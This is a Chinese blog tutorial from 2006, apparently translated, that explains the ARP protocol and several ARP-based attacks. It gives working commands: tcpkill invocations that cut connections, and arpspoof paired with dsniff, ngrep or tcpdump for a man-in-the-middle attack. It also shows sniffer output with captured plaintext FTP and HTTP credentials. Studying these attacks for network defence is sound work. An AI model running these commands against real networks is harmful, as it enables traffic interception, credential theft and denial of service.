内容列表

  1 关于此文
  2 ARP介绍
  2.1 ARP意味着什么?
  2.2 ARP高速缓冲存储器的目的
  2.3 ARP如何工作
  2.4 协议缺陷
  3 ARP攻击方法
  3.1 术语 和 定义
  3.2 连接劫持 和 监听
  3.2 连接重置
  3.4 中间人
  3.5 包嗅探
  3.6 Denial of service
  3.6 拒绝服务
  4 参考 和 链接
  5 致谢

  1 关于此文

  在这篇特殊的文章里,我将相应地论述对理解地址解析协议的一个基本的介绍和几个攻击方法。这些方法,没有特别的顺序,包括劫持和重置一个用户的连接和/或者会话,中间人攻击,交换机环境下的包嗅探,和拒绝服务攻击(DoS)。

  在介绍和其它部分的结尾,我将给出几个文章和软件的链接,和帮助进一步涉及ARP的这种内容。

  2 ARP的介绍

  2.1 ARP意味着什么?

  地址解析协议(ARP).一个没国界的协议.被设计来映射IP地址到它们关联的媒体存取控制(MAC)地址。这可以说成通过附加一个以太网设备地址映射32位IP地址到一个相应的48位MAC地址,来建立本地节点间的连接。

  在多数操作系统中,象Linux,FreeBSD和其它基于UNIX的操作系统,甚至包括Windows,”arp”程序都是现在的。这个程序能被用来显示和/或者修改ARP高速缓存的入口。通过简单地在你的终端运行”arp -na”,本地ARP高速缓存中的当前入口的列表将显示出来。这包括IP地址,硬件类型,MAC(主机硬件地址)地址,相应的NIC接口标志掩码,和连接类型(取决于系统输出可能不同)。

  一个”arp”利用输出的例子将看起来如下:

Windows:
 > arp -a
 Interface: 192.168.1.100 .- 0x10003
 Internet AddressPhysical AddressType
 192.168.1.1 00-13-10-23-9a-53 dynamic
 
  Linux:
 $ arp -na
 ? (192.168.1.1) at 00:90:B1:DC:F8:C0 [ether] on eth0
 
  FreeBSD:
 $ arp -na
 ? (192.168.1.1) at 00:00:0c:3e:4d:49 on bge0
 

  你也将注意到在Windows例子中,这个对于特殊入口的类型被标记成” dynamic”。ARP高速缓存中的动态入口可以从高速缓存中清除出去。如果入口被标记成通过它的名字自解释的如static或者permanent,这个可以避免。接近这篇文章的结尾,我将论述静态ARP入口。

  2.2 ARP高速缓存的目的

  如在2.1部分定义的,地址解析协议被设计成来映射IP地址到MAC地址。 ARP使用一个高速缓存在一个被称为ARP高速缓存的表中记录这些地址。ARP高速缓存.象任何其它的高速缓存一样.仅是临时保存数据。数据保留在这个高速缓存中的平均时间通常在1到10分钟之间。然而生存时间能比这个长得多,例如Cisco路由器有一个4小时的估计生存时间。每一个系统有一个不同的生存时间周期直到所有的非参数数据被清除为止-旧的和不再使用的先前高速缓存入口浪费空间而且没有存在的目的了。因此,入口被从高速缓存中完全更新或者清除。
如定义,ARP高速缓存的一个任务是保存ARP答复和数据。为了减少ARP高速缓存入口的数量,ARP高速缓存用新接受到的IP地址和相应的MAC地址更新。这么做是为一个减少网络传输的方法。如果我映射我的局域网中其它节点的硬件地址,ARP高速缓存在高速缓存中保留它的入口,这样我不需要在我的通信中不断把它映射出来。

  2.3 ARP如何工作

  特别地对于第四版因特网协议 (IPv4),ARP在网络层和开放式系统互连(OSI)模型数据链接层之间映射。

  数据链接层被分割成两个子层,媒体存取控制层和逻辑链接控制层。MAC层有权控制数据流的存取而且不论传送是否被允许。然而,逻辑链接控制层的任务是控制框架同步,包流(象MAC),和数据包中的错误检查。这两个子层同时工作来产生数据链接层。

  对于成功的包传送下一步是最重要的。传送自身。网络层通过在网络上节点间传送数据提供交换和路由。不仅仅是这个层的一部分包传送,而且也有选址,网络工作和错误处理。这个层保证了每一个包没有错误的和可能冲突的根据它们最终地址被发送。

  为了更加完整和彻底地解释地址解析是如何工作的,以及协议的详情,请参考RFC 826 (David C. Plummer, 1982)。RFC 826是在1982年由C. Plummer写的,而被新手认为是过时的和复杂的材料。参考5.1部分文章最后的关于ARP,MAC,和基于ARP的攻击的进一步讨论的文档链接。

  2.4 协议漏洞

  ARP的主要漏洞在于它的高速缓存。知道它对于ARP更新现存的入口以及增加入口到高速缓存是必要的后,这使人相信能够伪造应答,它导致了ARP高速缓存致命的攻击。我将在3部分中论述每一类型的攻击,而在3.1部分中是术语和定义的回顾。

  3 ARP 攻击方法

  3.1 术语 和 定义

  A. ARP 高速缓存毒药

  在一个局域网中广播伪造的ARP应答。某种意义上,”愚弄”网络上的节点。能这么做是因为ARP缺少鉴定特性,因此盲目的接受接受或者发送的任何请求和答复。

  B. MAC 地址洪水

  一个ARP高速缓存毒药攻击主要应用在交换机环境下。通过用伪造的MAC地址洪水攻击一个交换机,交换机会过载。因为这样,它广播所有的网络传输到每一个连接的节点。这个结果提及到”广播模式”因为,所有通过交换机的传输被广播出来象一个Hub那样。这个接着能导致嗅探所有的网络传输。

  3.2 连接劫持 和 监听

  包或者连接劫持和监听是使任何连接客户在一个可能完全控制的方式下得到他们的连接操作成为牺牲的行为。

  那些易受这种类型攻击的人们经常通过象Telnet或者Rlogin这样的没有加密的协议连接服务器和计算机。这个能导致嗅探,以及连接劫持和监听。

  3.3 连接重置

  名字很好的解释了它本身。当我们重置一个客户端连接的时候,我们切断了他们对系统的连接。使用特殊技术的代码很容易就能做到这点。幸运的是,我们有很好的软件帮助我们来做这个。

  特别容易做到这点的一个代码是在DSniff工具集中。为了做到这个,我们将使用’tcpkill’。TCPKILL的使用和TCPDump类似,都使用BPF(伯克利包过滤器)。

  起因:

1. tcpkill -9 port ftp &>/dev/null
 2. tcpkill -9 host 192.168.10.30 &>/dev/null
 3. tcpkill -9 port 53 and port 8000 &>/dev/null
 4. tcpkill -9 net 192.168.10 &>/dev/null
 5. tcpkill -9 net 192.168.10 and port 22 &>/dev/null
 

结果:

1. Kill connections attempting to access port 21 (ftp)
 2. Kill connections matching the IP '192.168.10.30'
 3. Kill connections attempting to access port 53 and 8000
 4. Kill connections 192.168.10.* (192.168.10.0/24)
 5. Kill connections 192.168.10.* accessing port 22
 

  TCPKill主要用来连续的保持客户端连接的削剪。使用后通过简单的杀掉’tcpkill’进程,将允许连接重新可用。如果不是这样,接着远程客户端将不能连接。

  3.4 中间人

  一个更加著名的为了劫持其他用户传输的攻击方式是通过中间人攻击(MITM)。不像其它攻击,MITM是更包操作的攻击,然而最终导致包重定向到攻击者。所有的传输将发送给用MITM的攻击者。然而这个攻击是特定的。与MAC地址洪水或者其它攻击一个路由/交换机相对的,MITM攻击针对一个目标,而且也能在一个交换机环境之外实行。因此更彻底的意味着一个攻击可以对在国家另一端的一个人实行。

  一个MITM攻击之下是受害者必须通过一个没有被加密的协议连接。诸如Telnet和Rlogin的利用能通过MITM攻击来攻击。同样也有可能对一个加密的协议进行MITM攻击.象SSH-但是在这篇文章中,我不会涉及。

  一个MITM攻击对象SunOS/Solaris和IRIX这样的操作系统很有用,因为事实是连接这些系统的一个主要模式碰巧是Telnet和Rlogin。我很少见到这些操作系统的老版本使用SSH。

  一个基本的MITM攻击由一个攻击者,被攻击者和被攻击者正在连接的目标/目的地组成。使用一个关于这个攻击的可视化表达可能会更加复杂,因此我仅仅打算精细的解释一下当做这个特殊攻击时,发生的事情。

  如果还没有初始化,打开IP传递。

Linux:
 # echo 1 > /proc/sys/net/ipv4/ip_forward
 
  Other:
 # sysctl -w net.inet.ip.forwarding=1
 -OR-
 edit /etc/sysctl.conf
 

  为了仔细检查IP传递是否打开了,你可以简单的执行下面的命令:

Linux:
 # cat /proc/sys/net/ipv4/ip_forward
 
  Other:
 # sysctl -A | grep net.inet.ip.forwarding
 

  如果值被设为”1”,那么IP传递被打开了。

  接着,我们也将使用第三方公用程序。一个简单应用的建议是使用Dug Song 在他的DSniff包中的”arpspoof”公用程序。

  关于使用”arpspoof”公用程序一个好的理由是它非常简单的使用而且仅仅只要两个参数。为了使用它需要的信息是被攻击者的IP地址和被攻击者试图鉴别的目标/目的地IP地址。有了这两个IP地址,我们可以持续我们的MITM攻击。一个简单的关于”arpspoof”实行的例子如下:

  1.连接被攻击者,告诉他你是目的地。

  2.连接目的地,高速他你是被攻击者。

  通过使用经”arpspoof”和两个开放的windows终端的句子,这个很容易的实现。但是在我做这个前,我只想弄清楚例子IP地址正在被使用。
Setup:
 Attacker (IP: 2.2.2.2)
 Victim (IP: 1.1.1.1) <-> Target (IP: 0.0.0.0)
 
  Term A:
 # arpspoof -t 1.1.1.1 0.0.0.0 &>/dev/null &
 # arpspoof -t 0.0.0.0 1.1.1.1 &>/dev/null &
 
  Term B:
 # dsniff | less
 -OR-
 # ngrep host 1.1.1.1 | less
 -OR-
 # tcpdump host 1.1.1.1 and not arp | less
 

  如果万事皆备,接着通过使用条款B中三个可选择的程序,你应该可以嗅探所有被攻击者和目标/目的地间被发送的传输。

  如果最后一些事情没有象计划中那样,那么可能有几个原因。一个原因可能是被攻击者有静态ARP表,它拒绝ARP高速缓存表中的入口覆盖。另一个可能的原因是一个类似于ARPWatch的侦察系统,它是一个ethernet/ip监视系统。提醒一下,这个特殊的MITM攻击在加密协议中不能工作。在第2段中有解释。

  3.5 包嗅探

  如果网络是通过一个hub分段的而不是一个交换机,在一个局域网(LAN)中嗅探是非常容易的。唯一的区别是一个交换在发送包的时候被组织,因此有资格称为”交换”因为它在相应的目的地之间交换包。另一方面,一个hub盲目自由的在整个网络上广播包而不对任何特定的目的地。

  显然通过采用一个MAC洪水攻击可能在一个交换机环境下嗅探。在3.1b部分大概解释了MAC地址洪水攻击。

  MAC洪水攻击的一个结果是,交换机将象一个hub,而且允许整个网络被嗅探。这给了你一个机会使用你可以使用的任何类别的嗅探软件来嗅探网络,收集包。一些流行的嗅探软件和程序包括:Dug Song 写的DSniff,LinSniffer (一个流行的版本是humble of rhino9写的LinSniffer 0.666), FX写的PHoss 和 Alberto Ornaghi, Marco Valleri 写的Ettercap 。

  PHoss输出的一个例子:

[root@genii sniff]# ./PHoss
  PHoss (Phenoelit's own security sniffer)
  (c) 1999 by Phenoelit (http://www.phenoelit.de)
  $Revision: 1.13 $
  >>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  Source: 192.168.1.100:40895
  Destination:72.14.0.99:80
  Protocol: HTTP
  Data: asrtrin:manheim
  >>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  Source: 192.168.1.105:46537
  Destination:72.14.0.99:21
  Protocol: FTP
  Data: buddy:holly
  [...]
 

  TCPDump 3.9.4 输出的一个例子(输出不是一样的):

[root@genii sniff]# tcpdump -vvX port 21
  tcpdump: listening on eth0, link-type EN10MB (Ethernet),
  capture size 96 bytes
 
  [...]
  00:45:40.370082 IP (tos 0x0, ttl 111, id 43980, offset 0,
  flags [DF], proto: TCP (6), length: 57) localhost.pirhana >
  localhost.ftp: P, cksum 0x434b (correct), 1:18(17) ack 38
  win 17483
  4500 0039 abcc 4000 6f06 79e6 44ad 954fE..9..@.o.y.D..O
  5056 bbb9 11f9 0015 6595 ed3d 6f7f 82e1PV......e..=o...
  5018 444b 434b 0000 5553 4552 206d 7975P.DKCK..USER.myu
  7365 726e 616d 650d 0a sername..
  [...]
 

注意到我们现在有一个叫’myusername’的用户名。

[...]
  00:45:42.467487 IP (tos 0x0, ttl 111, id 43985, offset 0,
  flags [DF], proto: TCP (6), length: 57) localhost.pirhana >
  localhost.ftp: P, cksum 0x3e34 (correct), 18:35(17) ack 72
  win 17449
  4500 0039 abd1 4000 6f06 79e1 44ad 954fE..9..@.o.y.D..O
  5056 bbb9 11f9 0015 6595 ed4e 6f7f 8303PV......e..No...
  5018 4429 3e34 0000 5041 5353 206d 7970P.D)>4..PASS.myp
  6173 7377 6f72 640d 0a assword..
  [...]
 

  而现在有一个叫’mypassword’的密码。但是这是一个有效登陆密码吗?

[...]
  00:45:42.473412 IP (tos 0x0, ttl64, id 53228, offset 0,
  flags [DF], proto: TCP (6), length: 62) localhost.ftp
  > localhost.pirhana: P, cksum 0xae1b (correct), 72:94(22)
  ack 35 win 5840
  4500 003e cfec 4000 4006 84c1 5056 bbb9E..>..@.@...PV..
  44ad 954f 0015 11f9 6f7f 8303 6595 ed5fD..O....o...e.._
  5018 16d0 ae1b 0000 3533 3020 4c6f 6769P.......530.Logi
  6e20 696e 636f 7272 6563 742e 0d0a n.incorrect...
  [...]
 

  它不是:(但是我们将知道我们什么时候得到了一个有效的密码:))。

  3.6 拒绝服务

  拒绝服务是很无聊的。除非你绝对需要或者为了渗透测试,否则不要这么做。拒绝服务自己就说明问题。当大量的主动提供包被发送到一个特定的主机而且/或者选择性的特定端口,就能产生拒绝服务攻击。这可能导致远程节点恐慌和关闭端口(拒绝它的服务),或者甚至关掉整个系统-可能重启。

  如在3.1b部分解释的,MAC地址洪水攻击能被认为是一个拒绝服务攻击。MAC洪水的主要想法是产生足够的包数据来发给一个交换机,试图让它恐慌。这个当然会引起交换机落入广播模式而广播所有的包数据。这个仍然不会导致失事或者当掉服务,但是会过载。

  进一步的MAC地址洪水攻击信息,请回看3.1B部分中它的定义。

  4 参考书面 和 链接

  1. http://ietf.org/rfc/rfc826.txt
  2. http://networksorcery.com/enp/protocol/arp.htm
  3. http://man.he.net/?topic=arp&section=all

  5 致谢

  感谢x80的校对

posted on 2006-10-24 23:04  间歇博客  阅读(416)  评论(0)    收藏  举报